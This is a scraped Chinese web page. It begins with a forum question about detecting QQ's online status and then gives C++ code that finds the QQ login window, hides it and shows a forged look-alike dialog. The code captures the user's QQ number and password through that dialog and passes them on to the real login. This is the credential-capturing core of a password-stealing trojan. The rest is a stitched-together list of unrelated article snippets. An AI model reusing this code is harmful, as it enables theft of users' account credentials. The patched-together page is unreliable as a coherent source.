我用什么方法可以得到 "QQ上线了" 这个消息呢?
请高手指点一下啊,给个思路也行!
BOOL processIdToName(LPTSTR lpszProcessName, DWORD PID)
{
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe;
pe.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hSnapshot, &pe)) {
return FALSE;
}
while (Process32Next(hSnapshot, &pe)) {
if (pe.th32ProcessID == PID) {
strcpy(lpszProcessName, pe.szExeFile);
return true;
}
}
return FALSE;
}
//查找QQ登录窗口
void QQFind()
{
HWND hWnd1 = NULL, qqID_hWnd = NULL, qqPass_hWnd = NULL;
HWND ButtonLogin = NULL, ButtonCancel = NULL;
char sTitle[255];
CString ss;
DWORD QQPID;
int LoginID;
BOOL find = FALSE;
do
{
//获得当前激活窗口的句柄
g_hWnd = GetForegroundWindow();
GetWindowThreadProcessId(g_hWnd, &QQPID);
//根据PID获得进程名
processIdToName(sTitle, QQPID);
ss = sTitle;
ss.MakeLower();
//判断是否QQ
if(ss != "qq.exe")
{
Sleep(100);
continue;
}
//获得标题文字,判断是否登陆对话框
SendMessage(g_hWnd,WM_GETTEXT,255,(LPARAM)sTitle);
ss = sTitle;
int n = ss.Find("QQ", 0);
int m = ss.Find("登录", 0);
if(n >= 0 || m >= 0)
{
//查找QQ登陆按钮的句柄
ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");
LoginID = GetDlgCtrlID(ButtonLogin);
ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");
LoginID = GetDlgCtrlID(ButtonLogin);
//获得QQ登陆按钮窗口位置
GetWindowRect(ButtonLogin, &g_qqLogin);
//查找QQ取消按钮的句柄
ButtonCancel = FindWindowEx(g_hWnd, NULL, "Button", "取消");
//获得QQ取消按钮窗口位置
GetWindowRect(ButtonCancel, &g_qqCancel);
//查找QQ密码输入框的句柄
hWnd1 = FindWindowEx(g_hWnd, NULL, "#32770", NULL);
if(hWnd1 != NULL)
{
qqPass_hWnd = FindWindowEx(hWnd1, qqPass_hWnd, "Edit", NULL);
//获得QQ密码输入框窗口位置
GetWindowRect(qqPass_hWnd, &g_qqPassRt);
}
//查找QQ号码输入框的句柄
hWnd1 = FindWindowEx(g_hWnd, NULL, "ComboBox", NULL);
if(hWnd1 != NULL)
{
qqID_hWnd = FindWindowEx(hWnd1, qqID_hWnd, "Edit", NULL);
//获得QQ号码输入框窗口位置
GetWindowRect(qqID_hWnd, &g_qqIDRt);
//获得当前默认QQ号码
SendMessage(qqID_hWnd,WM_GETTEXT, 255,(LPARAM)qqid);
}
//等待QQ窗口完全出现后抓取整个屏幕
Sleep(100);
g_DlgRt.left = 0;
g_DlgRt.top = 0;
g_DlgRt.right = m_xScreen;
g_DlgRt.bottom = m_yScreen;
g_pBitmap = CopyScreenToBitmap(&g_DlgRt);
//设置QQ窗口为不可见
ShowWindow(g_hWnd, SW_HIDE);
//弹出我们创建的伪造对话框
HINSTANCE hInstance = GetModuleHandle(NULL);
DialogBoxParam(hInstance, (LPCTSTR)IDD_WIN847, 0, (DLGPROC)win847, 0);
//设置QQ窗口为可见
ShowWindow(g_hWnd, SW_SHOW);
//把QQ号码和密码填到真正的QQ登录窗口上,并模拟单击登陆按钮
SendMessage(qqID_hWnd, WM_SETTEXT, 0, (LPARAM)qqid);
SendMessage(qqPass_hWnd, WM_SETTEXT, 0, (LPARAM)qqpass);
SendMessage(ButtonLogin, BM_CLICK, 0, 0);
DeleteObject(g_pBitmap);
//设置标志退出循环
find = true;
}
}
while(find == FALSE);
}
1、QQ消息不显示时间 2...10、让隐身的好友现身 11、改变真实地理位置 12、让对方上线后第一眼看到自己的留言弹出 13、知道对方到底是否隐身 14、关于防止密码被木马窃取的方法 15、使QQ头像永远在线完全教程 16、
测试开发笔记 第一章 测试基础 7 什么是软件测试: 7 ★软件测试的目的、意义:(怎么做好软件测试) 7 3.软件生命周期: 7 第二章 测试过程 8 1.测试模型 8 H模型: 8 V模型 9 2.内部测试 10 ...
VC 最爱问的问题:你这个创业项目,如果腾讯跟进了,而且几乎是产品上完全复制,你会怎么办? http://www.zhihu.com/question/19607233 朱继玉,独立精神,自由思想。 知乎用户、Finn、蹦蹦跳 等人赞同 ...
问答时间:2020年9月3日嘉宾简介:沈剑:快狗打车CTO,58到家集团技术委员会主席,互联网架构技术专家,技术圈大V号“架构师之路”作者。曾任百度高级工程师,58同城技术委员会主席,高...
同学们,很多人问我,究竟互联网思维到底是什么?其实互联网思维是相对于工业化思维而言的。互联网思维是一种商业民主化的思维。互联网思维是一种用户至上的思维。互联网思维下的产品和服务是一个有机的生命体。...
本文作者:范冰,互联网产品设计与营销推广畅销书《增长黑客》作者,同时也是 @iamsujie 微信公众号即将组织的读书会的分享嘉宾。本文授权给 @iamsujie 全网首...
经过将近一天的折腾,终于把我的小小项目上线到服务器上啦,哈哈哈,先贴张成功的图以表达激动的心情! 好了,切入正题,讲讲上线的步骤和遇到的坑。 一、配置信息说明 本地:anaconda环境下的python3.7、...
毕业1年,菜鸟级别,第一个项目做了好几个月
“今晚有个新币要上交易所,一开盘我就抛。”他说。他所在的微信群里,还有300多人和他同样紧张。 2017年9月4日,央行等七部委联合发布《关于防范代币发行融资风险的公告》,首次将ICO(Initial Coin Offering,...
被腾讯模仿致死的产品都是单一的线上产品,与线下结合不紧密的产品。换个角度说,是一种技术向的产品,而不是运营向的产品。你看看腾讯的产品,有多少是跟线下资源结合的?所以回到现实——现在做产品,只有做垂直,...
需要右下角弹出提示框功能 以下是在网上找到的两个方案 ... ... 这两个网址是不错的解决方案 都是codeproject上面开源的 还有一个csdn'上的前辈写的 也不错 虽
“看完我们之间的对话,你会更能理解,原来做区块链才是Peter Thiel讲的从零到一。”文 | 王峰出品 | 火星财经APP(ID:hxcj24h)有人问我,“王峰十问”和那么多业界精...
2011年8月16日,北京798艺术中心。台上,雷军每公布一项技术参数,台下就传来一阵几乎要掀翻屋顶的声浪。一位记者问:“这都是哪请来的托,太敬业了!”工作人员只得实话实说:“都是自己来的,我们也没想到。...
———— / BEGIN / ————一许知远的单向街书店举办了第三届文学节,演讲部分有一段话打动我:没有一代人是孤立无援的,所有人都是漫长历史中的一个环节。他们的讲述,是宽阔世界里的回声,也是历史的影子。而...
分类: 界面设计 2013-03-08 10:38 19人阅读 评论(0)收藏 举报 本屌丝在新春放假期间闲来无事,在各大编程论坛溜达了一圈。...我那时正好在一家互联网公司担任技术总监一职,手下有三个人。那是一家刚创办的公
当梦想来敲门时间倒回到2013年。春节刚过,坐落在我国南方有着“创业之都”称号的深圳又开始忙碌了起来。“来了就是深圳人”是这座城市的标语,给人一种亲切和融入的感觉。在这里每天都流传着很多...
迟到的80后 ...他们已不太可能取代70和60年代的人成为主流商业规则的制定者或标志性人物。 为什么中国的80后里出不了扎克伯格和Lady Gaga? 是该给80后“松绑”了。 自从2006年一篇《生
2018年7月25日,湖南省长沙市,鸟瞰九龙仓长沙国际金融中心。 作者 | 小谦 责编 | 胡巍巍 在中国互联网行业,湖南人是一股不容忽视的力量。谈及湘籍互联网大佬,顶尖投资人熊晓鸽、微信之父张小龙、58同城姚劲波...
最初是一个人的抱怨,但现在已经是一个16万人社区的事,以开源软件开发的方式协作。 一场关于劳工权益的抗议在过去一周里爆发,让中国互联网公司习惯的996(早九点、晚九点、一周六天)加班时间成为中国乃至全球...
关于短网址: 最近比较流行短网址,所谓短网址,就是通过算法把长网址转换成短字符,然后映射到短网址服务器缓存或数据库里。当访问短网址的时候自动从数据库里取出映射的原网址。 这样一来短网址的好处就凸显...
但是XX管理系统肯定不能满足,所以在了解了json的皮毛之后,就着手作了这个伪QQ 完整代码已上传到github上,地址:https://github.com/LeYunone/19.12.25。有需要的可以自取。 作为一个伪QQ,代码中我实现了他的...
基于最近用户活跃有了一些深入的理解,所以对用户活跃做了一定的大梳理。在这个梳理过程中,作者分了三部分。第一部分是产品维度,第二部分是运营维度的,第三部分是大公司运作和商业逻辑维度的。...
作者|腾讯编辑|DebraAI 前线导读:在互联网场景中,亿级的用户每天产生着百亿规模的用户数据,形成了超大规模的训练样本。...无量框架提供多种机器学习算法,不但能进行任务式的离线训练,还能支持以...
作者:徐梦阳,微信公众号:成长(growup1984),人人都是产品经理专栏作家,某创业公司产品经理,个人博客:xumengyang.com。关注互联网创业,对提升工作效率,互联网产品的商业模式有一定的了解简单来说,产品...
学习,c++有2个星期了。...让自己对c开始感兴趣了,就开始学习c++了。首先接触的就是mfc。前几天,看到了一个博文,是有关,mfc网络编程的。...我在他程序基础上,增加了1对1的聊天,同时还保留了群聊
包含2020美赛所有题目的所有O奖论文,A题8篇,B题5篇,C题6篇,D题7篇,E题5篇,F题6篇。
2020年美赛C题O奖论文(含6篇)
此文档有详细奥特曼大全及关系明细
2020年2月份美赛发布的题目ADE,是原始文件,包含有原题目给的数据等。 pdf格式全英,需要的朋友们直接下载就可以啦,里面的东西没有动过,需要翻译可以看我的博客/
例子主要包括SocketAsyncEventArgs通讯封装、服务端实现日志查看、SCOKET列表、上传、下载、远程文件流、吞吐量协议,用于测试SocketAsyncEventArgs的性能和压力,最大连接数支持65535个长连接,最高命令交互速度达到250MB/S(使用的是127.0.0.1的方式,相当于千兆网卡1Gb=125MB/S两倍的吞吐量)。服务端用C#编写,并使用log4net作为日志模块; 同时支持65536个连接,网络吞吐量可以达到400M。